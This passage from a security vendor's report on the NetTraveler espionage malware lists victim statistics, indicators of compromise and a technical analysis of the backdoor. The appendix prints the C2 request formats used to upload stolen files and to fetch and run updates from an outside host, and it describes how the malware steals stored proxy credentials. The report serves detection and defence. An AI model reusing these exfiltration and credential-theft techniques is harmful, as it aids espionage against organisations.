backdoor module (eg. updata.exe) nettraveler.asp getcmd Get specific individual commands to be executed on the victims machine. nettraveler.asp gotcmd delete specific individual command for the victim from the c2 nettraveler.asp gettext send a specific text file from the c2 to the victim (eg. nethttpfile. txt) happy.asp downloaded same as updated command happy.asp downloadsize, updatesize same as datasize happy.a the command and control scripts reply to the victim with either success:size or Fail, de- pending on the result of the operation. in some cases, instead of the Fail string, a more de- tailed error is sent back to the victim, in simpli- fied chinese: under normal operation, a victim can connect to the c2 every five seconds and upload chunks of data from the victim, until the entire file is successfully transferred. in case of errors, the malware continues to send the data over and over, until they succeed. the command and control scripts implement several functions to communicate with the victim during our analysis, we observed four different generations of these scripts, with various degrees of complexity. the main function of the cc script saves stolen data to a folder in the c2 root, unless the request variable action is defined, in which case, it performs one of the following commands: - means can not be deleted - means the file does not exist 18 The NeTTraveler during our analysis, we obtained infection logs from several command and control servers. the logs, which go back as far as 2009, show that the threat actors behind nettraveler successfully infected more than 350 victims in 40 countries. the following map shows the locations and profile of the victims: 4. Global iNfecTioN STaTiSTicS 19 4. GlobAl inFection stAtistics the following map lists the victim profiles by industries: in addition to the data from the command and control servers, we collected statistics regarding detections of nettraveler from the Kaspersky security network. the top 10 infected coun- tries as reported in Ksn (Kaspersky security network): Position country of total 1 mongolia 29 2 russia 19 3 india 11 4 Kazakhstan 11 5 Kyrgyzstan 5 6 china 3 7 tajikistan 3 8 south Korea 2 9 spain 2 10 Germany 1 Note: chart does not include the victims that couldnt be identified besides the cc logs and Ksn, we have also sinkholed two of the cc domains used by nettraveler: pkspring.net yangdex.org the data set collected so far from the sinkhole is relatively small and includes victims in mon- golia, south Korea and india. We will continue to monitor the connections and over time, up- date this paper with more data as it becomes available. Note: Taking into account that several other CC servers exist for which we have no logs and the KSN coverage, we estimate the total number of victims worldwide to be around 1,000. Diplomatic 32 Government 19 Military 9 Private 11 Industrial and Infrastructure 7 Airspace 6 Research 4 Activism 3 Health 2 Financial 3 IT 3 Press 1 20 The NeTTraveler From the point of view of the victims, the most important part of any report is information on how to detect and eradicate the infections. in addition to running a modern security suite ca- pable of detecting nettraveler, things such as filenames or c2 iPs can be extremely useful to system administrators. this part of the report includes: indicators of compromise Kaspersky detection names md5s of known samples 5.1 indicators of comPromise: t yPes oF iocs: network traffic / iPs 209.11.241.144 - mothership, VPn serv- er, c2 121.12.124.69 - c2 (allen.w223. west263.cn) 61.178.77.111 - c2 (wolf0.3322.org) 182.50.130.68 - c2 (viprambler.com) 103.20.192.59 - c2 (sunshine.59.ydli.net) 5. miTiGaTioN iNformaTioN 213.156.6.122 - c2 (cultureacess.com) 209.130.115.38 - c2 (tsgoogoo.net) 98.143.145.80 - c2 (spit113.minidns. net) 96.46.4.237 - c2 (sghrhd.190.20081. info) 109.169.86.178 - c2 (imapupdate.com) 125.67.89.156 - c2 (faceboak.net) 142.4.96.6 - c2 (buynewes.com) 124.115.21.209 - c2 iP 67.198.140.148 - c2 (southstock.net) 96.44.179.26 - c2 (vip222idc. s169.288idc.com) 235.22.123.90 - c2 (gami1.com) 178.77.45.32 - c2 (ra1nru.com) command and control domains and server names: allen.w223.west263.cn andriodphone.net bauer.8866.org buynewes.com cultureacess.com discoverypeace.org drag2008.com eaglesey.com enterairment.net faceboak.net 21 5. mitiGAtion inFormAtion gami1.com globalmailru.com hint09.9966.org imapupdate.com inwpvpn.com keyboardhk.com localgroupnet.com mailyandexru.com msnnewes.com newesyahoo.com newfax.net pkspring.net - sinkholed by Kaspersky lab ra1nru.com ramb1er.com sghrhd.190.20081.info southstock.net spit113.minidns.net tsgoogoo.net vip222idc.s169.288idc.com viplenta.com vipmailru.com viprainru.com viprambler.com vipyandex.com vpnwork.3322.org wolf0.3322.org wolf001.us109.eoidc.net yahooair.com yangdex.org - sinkholed by Kaspersky lab zeroicelee.com malware file names on disk: main active group(s) in 2013, unique configuration filenames: perf2012. ini, config_t.dat, config_shenghai.dat, pert2012.ini, in: c:\documents and settings\[user]\ local settings\temp\ c:\users\[user]\local settings\temp\ c:\WindoWs\temp\ c:\WindoWs\system\ other (older) variants, configs: FmiFen.ini in: system malware body: net.exe, netmgr.exe, net mgr.dll in c:\ c:\WindoWs\system\ system temp c:\WindoWs\temp\ appdata\Adobe\ other (older) variants, malware bodies: system\bootuid.dll system\wuaucit.exe system\6to4ex.dll temp\Process.dll temp\Process.dll_d temp\cmss.exe temp\sysinfo2012.dll temp\winlogin.exe windir\system32\iasex.dll windir\system32\system_t.dll temp\smcs.exe appdata\Adobe\sysinfo2012.dll 22 The NeTTraveler Artifacts during installation and running: temp\Win32en.bat system\dnlist.ini temp\dnlist.ini appdata\Adobe\ie.log temp\ie.log system\enumfs.ini temp\enumfs.ini system\install.tmp system\kyrecord.txt c:\documents and settings\user\ start menu\Programs\startup\seru- vice.lnk c:\documents and settings\user\ start menu\Programs\startup\net- mgr.lnk c :\ d o c u m e1\u s e r1\ l o cAls1\temp\recycler_w\Allindex. ini c :\ d o c u m e1\u s e r1\ l o cAls1\temp\recycler_w\Allindex. ini_d mutexes created during backdoor operation: boat-12 is running dochunter2012 is running hunter-2012 is running nt-2012 is running nettravler is running nettravler2012 is running sh-2011 is running shenghai is running 5.2 malware names by KasPersKy Products detection names for the malware modules and related files: backdoor. Win32.bifrose.bcx trojan-dropper. Win32.dorifel.acrn trojan-dropper. Win32.dorifel.acsj trojan-dropper. Win32.dorifel.acsm trojan-dropper. Win32.dorifel.acuf trojan-dropper. Win32.dorifel.cql trojan-dropper. Win32.dorifel.fhg trojan-dropper. Win32.dorifel.fny trojan-dropper. Win32.dorifel.iat trojan-dropper. Win32.dorifel.jam trojan-dropper. Win32.dorifel.kcy trojan-dropper. Win32.dorifel.ylt trojan-spy. Win32.travnet. trojan.multi.yahg.a trojan. Win32.Agent2.eakj trojan. Win32.Agent2.exms trojan. Win32.Agent2.ezgb trojan. Win32.Agent2.fdhs trojan. Win32.delf.dgmw trojan. Win32.delf.dgmx trojan. Win32.Genome.agyil trojan. Win32.Genome.aiunu trojan. Win32.Genome.ajeqr trojan. Win32.Genome.akqco trojan. Win32.Genome.aksho trojan. Win32.Jorik.travnet. not-a-virus:downloader. Win32.nettrav eler. 23 5. mitiGAtion inFormAtion Kaspersky detection names for malicious documents with embedded exploits used in spear-phishing attacks: exploit.msWord.cVe-2010-3333.cg exploit.msWord.cVe-2010-3333.ci exploit.msWord.cVe-2010-3333.cl exploit. Win32.cVe-2012-0158.y exploit.msWord.cVe-2012-0158.an exploit.msWord.cVe-2012-0158.ax exploit. Win32.cVe-2012-0158.aa 5.3 md5s of malicious files spear-phishing samples md5s: 36ed86602661bb3a7a55e69fde90ee73 6eb5932b0ed20f11f1a887bcfbdde10f 059a7482efee3b2abf67c12d210cb2f7 e5954b8204eb321d20bed4a86b3cef34 63494c74db9bfc2bba3983698c952de9 b600089a93275fa93558695b707b87ad f4f14d4a1e34f62eeb9a90b5c8b2cfc1 0e2b10015fe52b7ea77a213f0c330557 29a420e52b56bfadf9f0701318524bef malware modules: 01d06f85fce63444c3563fe3bd20c004 03e8d330abc77a6a9d635d2e7c0e213a 08e5352a2416bd32a1c07f2d6c2f11fa 13b3cb819b460591c27e133e93fb8661 19a0693480c82f2b7fc8659d8f91717a 1a70e1e36e6afa454f6457140ac3d2ec 1dcad7c8f56207b2c423353f0c328755 1f26e5f9b44c28b37b6cd13283838366 209c3b51cad30c85ca79a9f067ce04cd 22be9cca6e4ec3af327595b890a92fec 28e9faec9de3bbdeb65435bfc377d1f8 294da087e6329ae78c1a5fb42b999500 29a394a4ec8a30b5f36c7b874fc9fe10 2a43c23a17cd2bc9074a486c47444e7c 2ac8f77548e87b401767c7076adfa00d 2d0e4748d857c12184ed2c94c13ec1ae 2dc139d82a2a5bf027bcb6a40f75b3f4 33334d8dc36c4ee7739fe2f8b448da72 36f9a0e71f0b580333c61bfeaa88df39 37d588b289c65f10c256e43eba939a0a 382c1d692dd3cec9b046e5c0eeaf92e6 39c2b2ee24373bf1ef20faff958718bc 3b4cf5f1ff8c4187e41c6ab80f000491 3cb96fe79aa01c82ac68c54e88918e57 482f112cb7cb0293d99f8a7606acbe85 4968882f189236952fd38a11586b395a 4c8950da250ea135ee77a2644af414ba 524aed944b7f307eea5677eda7e2079a 54583ccc97c33e358510b563b1536e69 57f2374d9f2a787339b0c6a5b1008a72 5e35b31472a2e603a995198d8e8411ed 5e7c5e8d9f5864488ddf04b662d1ad8e 63f0f91e3ccf5dd00a455d3038a299f4 66684b8b82fb5318a41ab7e6abb8dd42 677f7c42f79a0a58760056529739fdd6 6afeec03c8f4bc78fa2b3ad27392b0e7 6d00e4f95fba02126b32bb74dc4fec55 6d49cdbade7541d46be3fb47a0f563bb 6de813a22b2b73e330085ec7c85e041b 24 The NeTTraveler 71f311a648348e7598eb55ab7618842c 723129912a2d0fb4aede7100071787ef 778c1764dd5c36c1eb96c49a8f8441e6 7b92e9d21bc4db838bc102b289f4fd5f 812d8e4d7a484bb363b139cfa08617e5 81591ae1c975b8a0b5ad5546a103992c 81d92e20f3078bd8e43b226308393e43 83429db9cc63196bf42c691cc09b7b84 852f562812305ad099372109f8e8b189 85865e048183849b255c92e609a5fa25 86cce64193a347b50329a32cdf08d198 89bfd463ca76b62c61a548778316567d 8ccea94fd83d9cb1b15a2a4befec24a2 8d3036a65ac2404d4562cdb927fd3d2c 8d78a9e3df1e19f9520f2bbb5f04cb54 8dc61b737990385473dca9bfc826727b 95113e04af14c23df607964fa9d83476 9b198f1e260700bdcb4740266cd35b3f 9c1c2825532b25e266d62db50952ab44 9c544da8c23826379d60581cce17a483 a0e350787e4134ea91ccb26d17cdf167 a1169fb2eb93616ced7536a53fb05648 a431d5786d9d95bc9d04df07cbefc0a2 a6d89df2a80675980fb3e4a9bcc162e2 a77456a160890a26a8f7c019c2e77021 aa6f8eff83aea3ff7b8f016e67f74dac af6649323daf6dbd3aef1b950588487c b3840ec1299517dacd6c18c71ff5bafc b8c99bc028a0a32288d858df7bf6bec1 b990752f8266d7648070bea7e24d326f ba026e6190aee2c64ef62a4e79419bcf bea6e3481c0a06ce36600d8b3cc6155b c87e8a3ceefd93c7e431b753801c6bb6 cb9cc50b18a7c91cf4a34c624b90db5d cebaaad59f1616698dec4f14d76b4c9a d04a7f30c83290b86cac8d762dcc2df5 d218706eb07f2722ae4e0106cce27d52 d286c4cdf40e2dae5362eff562bccd3a d2fe88fff648a0bcbfdf0f0bd042a0a4 d354b71116961cad955ed11cb938ca32 d687cfde1c4ea77de1b92ea2f9e90ad5 d80c29813bfbc3cbcbd469249d49ebf3 d9c0ca95e49b113c5751fffdb20beb3f d9cf41b5d11e42dabf9470964d09c000 db6e36f962fdb58c8e9f8f9a781fda66 dc01df3c40cb4fb0bef448693475ea1b def612ad0554006378f185d3b56efb57 e51a4cc0272a98e9eddfec16667603f4 e5b1ffd2ecd7e610d07d093d65639da9 eb5761c410b5139f23235e9b67964495 eefc66a1e978dc9d825f28702106d4d5 efa23860086c5d12d3e6b918073c717f f3c5c20f5c45fc401484caf72753d778 fad8f37c9bd5420f49cfd5960a60fa24 fb3495715764cdaa547f2b040c0a9b1f fc3853c2383e2fbb2af381fd1277504d fe16c30782e2b16b07d5a3a1cf9dfb8f ff04126a5d61a10c81bfd0a6d0a643d0 25 conclusions during our analysis, we describe nettraveler, a malicious data exfiltration tool used by a me- dium-sized threat actor group from china. the main targets of the group include government institutions, embassies, oil and gas industry, research institutes, universities, private com- panies, military contractors and activists. the groups domains of interest include space ex- ploration, nanotechnology, energy production, nuclear power, lasers, medicine and communi- cations between others. Although not very advanced, the netttraveler attackers have successfully compromised hun- dreds of targets around the world, with the high- est number in mongolia, india and russia. the group using nettraveler is also employing other malware, including Zegost, saker and oth- ers. to compromise their victims, they rely on exploits for two popular vulnerabilities in mic- rosoft office. based on collected intelligence, we estimate the group size to about 50 individuals, most of which speak chinese natively and has knowledge of english language. by publishing this report we would like to raise awareness of all organizations and individuals who might become a victim of these attackers. We would like to encourage people of all coun- tries to learn something from this report, check their systems and be prepared for potential fu- ture cyberattacks against them. more information on attribution and victims will be available to selected parties, including lo- cal authorities of victim countries. For details, please contact us at intelreportskaspersky. com. coNcluSioNS: 26 The NeTTraveler descriPtion the module is a Win32 Pe executable file com- piled in microsoft Visual c 6.0. its main pur- pose is to drop a dll file and register it as a sys- tem service. the malware looks up a suitable service name from one of the values in the reg- istry. this module also drops an ini-type file with the configuration that is later used by the nettrav- eler backdoor. technicAl detAils execution of the module starts with the creation of a system mutex object called instAll ser- Vices noW. if this mutex already exists the module quits to avoid duplicate instances of the same module from running. After that, the module creates the configura- tion file named Windir\system\config_t.dat which is populated with the strings embedded in the body of the executable and encrypted with simple one-byte xor (0x3e). appeNDix a: malWare TechNical aNalySiS encrypted configuration data in the dropper the nettraveler droPPer mD5 2a43c23a17cd2bc9074a486c47444e7c create date (GmT) 2013.02.18 07:54:28 Size 176640 linker version 6.0 (msVc 6.0) 27 APPendix A: mAlWAre technicAl AnAlysis the config_t.dat is an ini-type file which contains the module configuration shown below: [Option] WebPagehXXp://vip222idc.s169.288idc.com/nt12/ newyork/city/nettraveler.asp2 DownCmdTime10 UploadRate128 [Other] UP0 [OtherTwo] AutoCheck1 the WebPage parameters maximum length is 128 bytes and represents a url for the com- mand and control server (cc). downcmdtime is the delay in minutes between requests sent to the cc server. the code of the function to dump the ini file is designed to process several cases. there is 1 byte value for variable uP (which stands for use Proxy) from section [other]. if that value is set to 1 (absolute file offset 0x334) then the ini file section [other] will be populated with the following values: [Other] UP1 PSstring (max 32 bytes from offset 0x335) PPinteger (2 bytes and positive from offset 0x355) PUstring (max 32 bytes from offset 0x357) PWstring (max 32 bytes from offset 0x377) PFinteger (2 bytes and non-negative from offset 0x397) the purpose of Ps, PP, Pu, PW, PF parameters is the following: Ps proxy server address PP proxy server port Pu proxy username PW proxy password PF parameter purpose remains unclear. the module then queries registry value at hklm\SofTWare\microsoft\Windows NT\\currentversion\Svchost\netsvcs which is a multi-string type of value. then it iterates through the names of services in that value to find a special service name. it must not be the 6to4 service and there must not be registry key hklm\SySTem\currentcontrolSet\Ser- vices\servicename. on Windows xP services that match the de- scribed criterias are (eg.) ias,iprip, irmon and a few others. these names are different on other Windows os and even depend on installed features or service Packs. the malware takes the first matching service name and uses it. right after that, the malware attempts to delete WiNDir\system32\servicenameex. dll and registers a new system service with the same name servicename. the service is designed to be a Win32 shared process like svchost, autostarted by system service control manager during system boot. that creates cor- responding system registry values in hklm\ SySTem\currentcontrolSet\Services\ser- vicename. 28 The NeTTraveler After that it saves to local directory and executes the following batch file (net.bat): echo off reg add hkey_local_machiNe\SyS- Tem\currentcontrolSet\Services\irmon\ parameters /v ServiceDll /t reG_expaND_ SZ /d c:\WiNDoWS\system32\servicen- ameex.dll note that servicename is replaced with the actual system service name that was previously found. After that the module creates the c:\WiN- DoWS\system32\servicenameex.dll file on disk and sets hard-coded file creation and last access date and time to 20:00 17 august 2004. the new file is then filled with data produced after decryption of the hard-coded data block. nettraveler bacKdoor (droPPed file) mD5 3c0ea91ea42f2bf6686e 9735998e406e create date (GmT) 2013.02.18 02:33:49 Size 204800 linker version 6.0 (msVc 6.0) descriPtion the malware is Win32 Pe dll file compiled in mi- crosoft Visual c 6.0. it has one export function servicemain which has the main functionality of the module. this module has initial filename assigned during compilation: dll.dll. technicAl detAils upon start the module sets corresponding ser- vice status to start_Pending and then imme- diately to running. it checks if system mutex named NetTravler is running exists and terminates if that is true. note: other known mutexes used by variants of nettraveler include: boat-12 is running dochunter2012 is running hunter-2012 is running nt-2012 is running nettravler is running nettravler2012 is running sh-2011 is running shenghai is running After that it opens WiNDir\system\con- fig_t.dat file and parses the following values: 29 APPendix A: mAlWAre technicAl AnAlysis Option] WebPage DownCmdTime UploadRate [OtherTwo] AutoCheck CheckedSuccess it creates a list of local paths in memory to work with later: sysdir\stat_t.ini sysdir\dnlist.ini sysdir\enumfs.ini sysdir\uenumfs.ini sysdir\udidx.ini temP\ntvba00.tmp\ if checkedSuccess value from ini file equals 0 or doesnt exist, the module will fetch additional con- figuration from the same ini file [other] section: pS (string with no default value, max 64 chars) pp (integer with default value: 80) pu (string with no default value, max 32 chars) pW (string with no default value, max 32 chars) pf (integer with default value: 10) next the module prepares some strings for test- ing the internet connection: modulename.log http://www.microsoft.com/info/privacy_se- curity.htm (testurl) ironically, the testurl is a microsoft web page about privacy, security and safety online (last updated in January 2000): 30 The NeTTraveler After that with the help of Wininet APi the mod- ule issues an httP Get request to testurl (see above) and the following hardcoded httP header values: accept: image/gif, image/x-xbitmap, image/ jpeg, image/pjpeg, application/x-shock- wave-flash, / accept-language: en-us proxy-connection: keep-alive pragma: no-cache user-agent: mozilla/4.0 (compatible mSie 6.0) it sets other options such as proxy server ad- dress and port (Ps and PP values from ini file or attempts to find proxy settings automatical- ly), proxy username and password (Pu and PW values from the ini file), several connection timeouts limited with 60 seconds. the module submits the request and reads the response of the server. the response is stored in newly allocated memory block. After that the malware appends debug output to the log file named modulename.log. the output messages are shown below: method currect: User: current user name ProxyIP:: ProxyBypass:: User: proxy username Pass: proxy password data from the URL /////////////////////////////////////////////// if the Ps, PP, Pu, PW parameters were not found the ini file or Autocheck value is set to 1, the module attempts to find local proxy settings ac- cording to the procedure below. finding Proxy configuration First, the module lists contents of ProGrAm- Files directory and appends the listing to the log file. then it opens ie history file of the current user (history.ie5\index.dat) parses it and appends the log with discovered logins/password saved in the the history file as a part of visited urls. After that the module logs current version of internet explorer. interestingly that the log file is appended with the following hard coded string: ie: internet explorer , means ver- sion in simplified chinese. 31 APPendix A: mAlWAre technicAl AnAlysis the module reads ie version from hKlm\soft- ware\microsoft\internet explorer\Version reg- istry value. then it gets version of current os, and again appends the result to the log file with some hard coded strings in it: which means version of oper- ating system in simplified chinese. the malware is capable of interpretation of sys- tem minor/major code and recognizing the fol- lowing o ses: microsoft Windows 95 microsoft Windows 95 osr microsoft Windows 98 microsoft Windows 98 se microsoft Windows millennium edition microsoft Windows nt microsoft Windows 2000 microsoft Windows xP microsoft Windows 2003 microsoft Windows Vista microsoft Windows 7 it can also recognize type of os: Professional, server, Advanced server and exact version and build numbers are also appended to the log file. there were four different methods to find proxy configuration on the system according to the log file messages set in three functions. one of the function (method 2) was probably merged with another one (method 3) in newer variant of the malware. method 1: this is a straightforward attempt to connect to the test url, assuming that system-wide proxy settings are correct or no proxy is required to access the external website. the url for testing is http://www.microsoft.com/info/privacy_ security.htm with the following header values: accept: image/gif, image/x-xbitmap, image/ jpeg, image/pjpeg, application/x-shock- wave-flash, / accept-language: en-us proxy-connection: keep-alive pragma: no-cache if the method succeeds the module appends received data from the url to the log file and corresponding parameter is set in the ini file (uP0). if something fails the following message is ap- pended to the log file: method1 fail method 2 And method 3: this method is used when the infected machine uses proxy server but the settings are not avail- able for local system user. A user working at 32 The NeTTraveler the infected machine might have internet ac- cess and should have the required proxy server settings. the malware list all processes running on the machine and locates process named exPlor- er.exe. this process is a system shell which is normally running after local user successfully authenticates and logs in to the system. the malware finds explorer process and obtains se- curity token which is later used to temporarily impersonate as local user and get proxy con- figuration with internetQueryoptionA(0,inter- net_oPtion_Proxy,...) APi call. if the result contains proxy settings the malware gets them. if for some reason local proxy set- tings were not found in current user profile, the malware attempts to double-check and opens ie settings in the registry. the following registry values are checked: hkcu\Software\microsoft\Windows\cur- rentversion\internet Settings\proxyenable hkcu\Software\microsoft\Windows\cur- rentversion\internet Settings\proxyServer hkcu\Software\microsoft\Windows\cur- rentversion\internet Settings\proxyover- ride After that the malware first obtains the ie stored credentials. it iterates through all stored local user secrets via credenumerateA and looks for those which start with microsoft_Wininet_ and contain the address of the proxy server previ- ously obtained. these secrets are decrypted with cryptunprotectdata APi call. such call is possible only after impersonation as local user which is available for the malware running with local system privileges. this method checks the first available password in the list of passwords from the system stored secrets. once the potential server, port, login and pass- word are obtained the malware makes a test query to the same url: http://www.microsoft. com/info/privacy_security.htm. if it succeeds the content of this page is appended to the log file with all details about the proxy server. if the method fails it prints the following line in the log file: method3 fail method 4: this method is identical to method 3 with just one difference: it checks the last available pass- word in the list of passwords from the system stored secrets. method x (debuG): there is also an unused method in the code with no internal number, which was most likely used to debug the application as it writes all interme- diate results to the log file, starting from string 33 APPendix A: mAlWAre technicAl AnAlysis Get from ieoption or Get from reg de- pending on the path of code execution. if the malware failed to locate the proxy server it unregisters current malicious service by deleting corresponding registry keys in hklm\System\ currentcontrolSet\servicename\ and at- tempts to delete all related files from the fol- lowing list: c:\Windows\system32\enumfs.ini c:\Windows\system32\uenumfs.ini c:\Windows\system32\udidx.ini c:\Windows\system32\dnlist.ini c:\Windows\system32\stat_t.ini otherwise, if the proxy was checked successful- ly the malware writes the following value to the config file (config_t.dat): [OtherTwo] CheckedSuccess1 After that the module sleeps for 60 seconds and starts a new thread (see below thread1), sleeps 10 more seconds and creates another thread (see below thread2). right after that it enters an infinite loop of doing nothing but sleeping which can be interrupted by a special value in global variable set by other threads. upon detecting this value the service routine ends which termi- nates the service execution. threAd1 (commAnd And control threAd) this thread starts from collecting local system information, including the following: local computer name local iP address local user name os version, build and product type list of local disk drives with available space on them cPu characteristics including vendor identifier and frequency rAm status current process lists output of the ipconfig /all system command this information is stored in a text buffer with chinese comments like shown below (transla- tion is added in red): [] computer information : local hostname computer : local username user name ip: local iP Address : os service Pack (build num- ber) operating system : :Gb, Gb(.) disk space: total disk space Gb, the remain- ing disk space Gb (.) cPu: cPu type cPu FrequencymhZ : :mb,:mb ( .) 34 The NeTTraveler Physical memory: total physical memory: mb of available memory: mb (.) [] Process list 0 [system Process] 4 system 892 smss.exe 948 csrss.exe 972 winlogon.exe 1016 services.exe 1028 lsass.exe cc communicAtion this information is saved in WiNDir\Sys tem32\system_t.dll text file. this file is read a moment later, compressed using a custom lempel-Ziv-based algorithm, encoded with a modified base64 encoding and uploaded to the cc server using httP Get request of the fol- lowing format: GET /nt12/newyork/city/nettraveler.asp?host idDriveCSerialNumberhostnameHost namehostipHost IPfilenametravlerback info-Current date and time.dllfilestart0file textbegin::modified Base64 and LZ-compressed data::end Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, / Accept-Language: en-us Pragma: no-cache User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Win dows NT 5.0) Host: vip222idc.s169.288idc.com Connection: Keep-Alive if the file upload is successful, the module de- letes the system_t.dll file. Please note that the serial number of current disk drive (most likely it is drive c) is used in httP query value hostid. this identifier derived from the local filesystem is used later as a reliable identifier of current infected machine or simply botid. the control looP After that it enters control loop. every 10 minutes according to the downcmdtime parameter val- ue in the config file, it sends httP Get request of the following format: GET /nt12/new york /cit y/nettraveler.asp?ac tiongetcmdhostidDriveCSerialNumberhost nameHostname if the server response starts with [cmdbegin] and ends with [cmdend] then the response is saved in c:\Windows\System32\stat_t. ini file. After that the code confirms receiving the command by submitting another httP Get request in the format below: GET /nt12/newyork/city/nettraveler.asp?action gotcmdhostidDriveCSerialNumberhostname Hostname 35 APPendix A: mAlWAre technicAl AnAlysis the module expects server to reply success. if it doesnt the module will try again in 10 minutes. if the server was notified and confirmed receiv- ing the notification, the module reads stat_t. ini file which is just another config in ini format: [Download] dircountinteger, default 0 filecountinteger, default 0 f1string f2string f3string d1string d2string d3string [Scan] dircountinteger, default 0 filecountinteger, default 0 All values fnumber from stat_t.ini file are read and saved in WINDIR\System32\dnlist.ini file: [Filelist] f1string f2string f3string All values dnumber from stat_t.ini file are read and the corresponding local directory and sub- directories listings are collected and appended to the dnlist.ini file in the format: [Filelist] f1string f2string f3string the following values from stat_t.ini file are also transferred to the dnlist.ini file: section in stat_t.ini value in stat_t.ini default section in dnlist.ini value in dnlist.ini [scan] dircount [scanlist] dircount [scan] scanAll False [scanlist] scanAll [other] typelimit true [other] typelimit [other] usearch true [other] usearch [other] Gsearch true [other] Gsearch [other] utypelimit true [other] utypelimit [other] uAuto False [other] uAuto [other] types doc, docx, xls, xlsx, txt, rtf, pdf [other] types 36 The NeTTraveler [other] uP False [other] 0 or 1 [other] Ps [other] Ps [other] PP 80 [other] PP [other] Pu [other] Pu [other] PW [other] PW [other] PF 10 [other] PF this is clearly the functionality which lets the attacker download specific files or even full di- rectories including all subdirectories contents basing on defined file search criterias, such as file extensions. Filesystem scAn the malware has a file enumeration routine, which gets the settings from dnlist.ini (such as directory paths to process) and launches a re- cursive directory search. the output is saved to enumfs.ini file in the following format: [Computer] NameLocal system name PageCurrent Windows ANSI code page (ACP) [Local system name] d1string d2string dNstring dircountN [d1 string] f1string f2string fMstring d1string d2string dKstring dircountK filecountM [d2 string] After execution, this log file contains directories with all filenames and subdirectories. only di- rectory/file names are stored, with no addition- al data such as timestamps or size. When the search is finished, the module saves current date to the dnlist.ini file and changes option scanAll, see format below. this is done to avoid recurrent scanning of the filesystem, which is normally a heavy process and might be noticed by local user or an administrator. [ EnumTime] DateTimeYYYY-MM-DD date [ScanList] ScanAllFalse 37 APPendix A: mAlWAre technicAl AnAlysis After scanning the local filesystem, enumfs. ini file is uploaded to the server via httP Get request described above (see the submission process of stat_t.ini file in the beginning of cc communication part) with filename of the fol- lowing format: filelist-monthDay-hourminute Second.ini uPloAdinG Files the next stage of this thread uploads files inter- esting for the attacker to the cc server. this process is described below. the module works with files described in dnlist. ini file. it gets a list of file extensions that must be uploaded to the cc first. there is a default list of extensions (value Types of section [oth- er]) that represent interest for the attackers: doc,docx,xls,xlsx,txt,rtf,pdf. then it gets file- total values from [filelist] section of dnlist.ini and iterates through every fN value, where n is a positive integer starting from 1. there are several tests applied to each file, be- fore it is uploaded to the server, including the following: File size must not be larger than 10mb (10485760 bytes). File must have one of the extensions from the types option. if the file matches the criterias, then a unique file state identifier for that file is created, which is an md5 hash of the following string: filename year-month-Day hour:minute:Second:millisec- onds. the date and time values in the string before are obtained from the file last change time. After that the module creates a name used for uploading the file to the server, which consists of the following: year-month-Day- hour-minute-file state identifier, the mD5. the time and date values are also taken from the files last change time. this file is up- loaded to the cc using the same procedure as used before for uploading other files. After that, thread1 attempts to upload a file called uenumfs.ini, which is created by the thread2. the remote filename is set to the following ufilel- ist-monthDay-hourminuteSec- ond.ini. next, the thread iterates through Temp\ ntvba00.tmp\ directory and uploads every file located there. the file names are preserved as they are. control Procedure then, the thread issues a special httP Get re- quest to get next control instruction from the cc. this is done by accessing the following uri: 38 The NeTTraveler hXXp://vip222idc.s169.288idc.com/nt12/newyork/ city/nettraveler.asp?actiongetdata (3) server response is converted to uppercase and analyzed. there is defined set of responses ex- pected from the cc server: 01. botid:uninstAll this command simply uninstalls the malicious service from the registry and deletes locally cre- ated files. 02. botid:uPdAte this procedure starts from uninstalling current service, then it issues three httP Get requests to the cc script url: GET .../newyork/city/nettraveler.asp?actiondata- size to get the size of updated module that will be pushed with next request. GET .../newyork/city/../updata.exe to get the up- dated module to be executed. this module is instantly saved to Windir\install.exe and executed. 03. botid:reset this procedure simply removes all temporary files, such as the following: sysdir\enumfs.ini sysdir\dnlist.ini sysdir\udidx.ini sysdir\uenumfs.ini sysdir\stat_t.ini 04. botid:uPloAd this procedure is identical to the uPdAte com- mand described before with one difference - no uninstallation of the current module is done, only new executable is downloaded and started. this method is probably used to execute additional independent malicious executable, unrelated to the original nettraveler malware. or it can be used to infect with the nettraveler backdoor configured for some other cc server. After processing any of the commands above the malware issues the following request to the server to confirm command execution: GET .../newyork/city/nettraveler.asp?actionupdat- edhostidBotId if the server hasnt issued the uninstAll com- mand the thread continues execution starting from the beginning of the control loop (see above). 39 APPendix A: mAlWAre technicAl AnAlysis threAd2 (driVe monitorinG threAd) this thread creates a hidden window with class name NTmainWndclass and processes win- dow messages in a loop until it is interrupted by special variable value. the window procedure processes only one window message, Wm_De- vicechaNGe with wParam value set to DbT_ Devicearrival, which is sent by the system when a new removable device such as usb flash drive or network shared folder is attached to the system. the module will proceed only if the attached removable device has provided a disk volume. it is designed to have different procedures for removable disk drives from usb flash and net- work shares. the usb drives will be processed only if GSearch value is set to true in [other] section of dnlist. ini file. similarly, a new network drive will be processed only if uSearch value is set to true in [other] section of dnlist.ini file. both network and removable usb drives are processed in the same procedure, which reads the following values from dnlist.ini file: [Other] UTypeLimitboolean, default True UAutoboolean, default False if uAuto option is set to true, the thread creates Temp\ntvba00.tmp\ directory and opens uenumfs.ini file for writing. the latter is filled with directories and subdirectories listings of the attached disk drive. the format of the data in uenumfs.ini is almost identical to the one created during fixed drive filesystem scan (see Filesys- tem scan part in thread1 description above). in addition to that, the same criterias are applied to each file (size and file extension) as in fixed drive filesystem scan. Also, every file gets a state id calculated as md5 hash of the filename and timestamp of the last modification. this hash is used to generate a new filepath in the follow- ing format: Temp\ntvba00.tmp\year- month-Day-hour-minute-file state id, mD5 hexadecimal string.original extension. the source file from newly attached drive is then copied to the destination set by the generated file path. Please note, that the file orig- inal extension is preserved, while the file name is changed. that is used to prevent further problems when working with unsupported encoding. At the same time when file is copied to ntvba00. tmp directory, a record is added to udxidx.ini file, which has the following format: [Index] File state id, MD5 hexadecimal string1 this is done to avoid copying files that were al- ready copied before, unless they were changed by the user. 40 The NeTTraveler to avoid excessive use of the disk drive and oc- casional interest of the local user, the file copy- ing procedure has a delay. every 1000 files the thread delays execution and sleeps for 9 sec- onds. side notes useless text transformation in function which gets disk volume serial num- ber the actual serial number is converted from a decimal integer to a hexadecimal number stored as an Ascii string. the integer is converted to a string with call to the sprintf function and 8x parameter which outputs 8 characters representing a number in hexadecimal form. despite the fact that the output of this call is in uppercase, the author of the module converts the output to uppercase characters again. this could be due to the fact that the author used to have 8x format string before, which made such conversion rational. however, that clearly shows that the developer wasnt aware of vari- ous format strings options, which shows lack of experience in c/c development. 41 APPendix A: mAlWAre technicAl AnAlysis Drive 